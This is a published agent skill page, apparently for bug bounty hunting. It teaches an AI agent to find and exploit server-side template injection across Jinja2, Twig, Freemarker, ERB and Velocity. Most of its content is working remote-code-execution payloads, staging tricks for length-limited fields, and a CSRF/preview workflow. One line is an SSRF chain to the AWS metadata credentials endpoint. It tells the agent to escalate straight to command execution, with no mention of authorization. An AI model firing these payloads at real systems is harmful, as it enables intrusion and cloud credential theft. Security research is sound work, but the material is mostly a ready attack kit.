hunt-ssti skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.

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Install the hunt-ssti skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-ssti ~/.claude/skills/hunt-ssti

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Autonomous Testing Priority

Escalate straight to RCE — don't stop at arithmetic detection.

Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like ), producing a false negative even when injection exists.

Order of attack:

Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:

Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).

If Jinja2 fails, try Twig (PHP/Symfony): {{self.env.registerUndefinedFilterCallback("exec")}}{{self.env.getFilter("id")}}
Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.

Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a or ), that still counts — the format is irrelevant, the content is the evidence.

14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Easy to detect, high payout ($2K–$8K). Direct path to RCE.

Detection Payloads (try all)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

RCE Payloads

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Length-constrained injection fields (profile name, display name, subject)

When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full os.popen one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

The reflected sink is frequently an outbound email (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

Where to Test

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:

whole matrix and read which one evaluates:

Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the

${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)

If {{77}} renders literally but ${77}→49, you are on Freemarker — stop sending {{config...}}.

POST /…/template?productId=N with the id in the URL. The BODY carries only csrf, template, and a template-action (preview | save). Putting the id in the body returns 400 "Missing product id". So keep the id in the query string (?productId=N) AND send a form-encoded body of csrf=…&template=&template-action=preview.

The record id is usually a QUERY param, not a body field. The editor form posts back to

csrf hidden field; template-action=preview renders your payload WITHOUT persisting (fast feedback loop). Switch to template-action=save only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.

Re-fetch the CSRF each time and use preview to iterate. GET the editor page to read a fresh

Freemarker documentation RCE (the documented Execute utility — this IS the intended technique):

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

Velocity equivalent: #set($e="e");$e.getClass().forName("java.lang.Runtime")....

Related Skills & Chains

hunt-rce — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 {{config.class.init.globals['os'].popen('id').read()}} or Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
hunt-xss — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same {{7*7}} reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject into rendered email template → stored XSS hitting every recipient who views the message.
hunt-ssrf — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} or Jinja2 with url_for/custom filters → AWS metadata exfil → cloud creds.
hunt-file-upload — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose word/document.xml contains ${T(java.lang.Runtime).getRuntime().exec("id")} to a Velocity/Freemarker-driven mail-merge → RCE.
security-arsenal — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (subclasses()[N] index hunting), Twig _self.env registerUndefinedFilterCallback, Freemarker ?new() Execute, ERB backticks, Velocity $class.inspect, Smarty {php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes, {%print(...)%}).
triage-validation — Apply the Pre-Severity Gate before claiming Critical RCE. A {{7*7}} → 49 reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove id/OOB DNS callback with a unique marker before writing the report.

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